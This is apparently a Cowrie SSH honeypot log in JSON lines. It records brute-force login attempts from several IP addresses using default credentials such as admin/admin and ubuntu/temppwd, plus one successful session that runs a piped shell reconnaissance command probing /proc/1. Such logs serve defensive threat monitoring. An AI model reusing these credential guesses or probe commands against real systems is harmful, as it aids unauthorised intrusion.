{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:34:49.119541Z","src_ip":"103.129.221.202","session":"36d1a0132054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123","message":"login attempt [vbox/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:34:50.109961Z","src_ip":"103.129.221.202","session":"36d1a0132054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:34:51.351017Z","src_ip":"103.129.221.202","session":"36d1a0132054","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":58752,"dst_ip":"10.17.0.5","dst_port":22,"session":"55df237053f7","protocol":"ssh","message":"New connection: 201.184.50.251:58752 (10.17.0.5:22) [session: 55df237053f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:14.534108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:14.538459Z","src_ip":"201.184.50.251","session":"55df237053f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:14.618753Z","src_ip":"201.184.50.251","session":"55df237053f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops2023","message":"login attempt [devops/devops2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:14.974645Z","src_ip":"201.184.50.251","session":"55df237053f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:16.058756Z","src_ip":"201.184.50.251","session":"55df237053f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":54006,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6b0cd953297","protocol":"ssh","message":"New connection: 41.63.62.103:54006 (10.17.0.5:22) [session: f6b0cd953297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:17.915667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:17.920121Z","src_ip":"41.63.62.103","session":"f6b0cd953297","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:18.185339Z","src_ip":"41.63.62.103","session":"f6b0cd953297","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"proxyuser","password":"1234","message":"login attempt [proxyuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:19.279655Z","src_ip":"41.63.62.103","session":"f6b0cd953297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:20.548636Z","src_ip":"41.63.62.103","session":"f6b0cd953297","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.42.116.55","src_port":12374,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3899f0eaca9","protocol":"ssh","message":"New connection: 192.42.116.55:12374 (10.17.0.5:22) [session: a3899f0eaca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:37.305109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:37.475487Z","src_ip":"192.42.116.55","session":"a3899f0eaca9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"8c917104c76e94afaacd03d2f6016935","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 8c917104c76e94afaacd03d2f6016935","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:37.579236Z","src_ip":"192.42.116.55","session":"a3899f0eaca9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:39.233299Z","src_ip":"192.42.116.55","session":"a3899f0eaca9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:40.428722Z","src_ip":"192.42.116.55","session":"a3899f0eaca9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"cat /proc/1/mounts && ls /proc/1/; curl2\" | sh","message":"CMD: echo \"cat /proc/1/mounts && ls /proc/1/; curl2\" | sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:40.432202Z","src_ip":"192.42.116.55","session":"a3899f0eaca9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/1/mounts && ls /proc/1/; curl2\n","message":"CMD: cat /proc/1/mounts && ls /proc/1/; curl2\n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:40.435130Z","src_ip":"192.42.116.55","session":"a3899f0eaca9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"curl2 ","message":"Command not found: curl2 ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:40.439614Z","src_ip":"192.42.116.55","session":"a3899f0eaca9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":38386,"dst_ip":"10.17.0.5","dst_port":22,"session":"60a5eb10751f","protocol":"ssh","message":"New connection: 14.225.205.58:38386 (10.17.0.5:22) [session: 60a5eb10751f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:40.512935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:40.518061Z","src_ip":"14.225.205.58","session":"60a5eb10751f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6b44662ed039a1ce86fe7c63168bd01c3b6e8792daab3143cba45925e68c2d31","size":79,"shasum":"6b44662ed039a1ce86fe7c63168bd01c3b6e8792daab3143cba45925e68c2d31","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/6b44662ed039a1ce86fe7c63168bd01c3b6e8792daab3143cba45925e68c2d31 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:40.679207Z","src_ip":"192.42.116.55","session":"a3899f0eaca9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:40.762379Z","src_ip":"14.225.205.58","session":"60a5eb10751f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:41.475757Z","src_ip":"192.42.116.55","session":"a3899f0eaca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"admin","message":"login attempt [david/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:42.466722Z","src_ip":"14.225.205.58","session":"60a5eb10751f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:35:43.713462Z","src_ip":"14.225.205.58","session":"60a5eb10751f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":47246,"dst_ip":"10.17.0.5","dst_port":22,"session":"9263772cd805","protocol":"ssh","message":"New connection: 201.184.50.251:47246 (10.17.0.5:22) [session: 9263772cd805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:09.159911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:09.163996Z","src_ip":"201.184.50.251","session":"9263772cd805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:09.244035Z","src_ip":"201.184.50.251","session":"9263772cd805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"pass","message":"login attempt [testuser/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:09.597363Z","src_ip":"201.184.50.251","session":"9263772cd805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:10.679506Z","src_ip":"201.184.50.251","session":"9263772cd805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":36646,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee8115cdde66","protocol":"ssh","message":"New connection: 103.129.221.202:36646 (10.17.0.5:22) [session: ee8115cdde66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:14.277779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:14.283179Z","src_ip":"103.129.221.202","session":"ee8115cdde66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:14.529723Z","src_ip":"103.129.221.202","session":"ee8115cdde66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test-123","message":"login attempt [test/test-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:15.550498Z","src_ip":"103.129.221.202","session":"ee8115cdde66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:16.801079Z","src_ip":"103.129.221.202","session":"ee8115cdde66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":40034,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1312fbde554","protocol":"ssh","message":"New connection: 41.63.62.103:40034 (10.17.0.5:22) [session: a1312fbde554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:22.302318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:22.307203Z","src_ip":"41.63.62.103","session":"a1312fbde554","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:22.569904Z","src_ip":"41.63.62.103","session":"a1312fbde554","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"temppwd","message":"login attempt [ubuntu/temppwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:23.657475Z","src_ip":"41.63.62.103","session":"a1312fbde554","protocol":"ssh"}
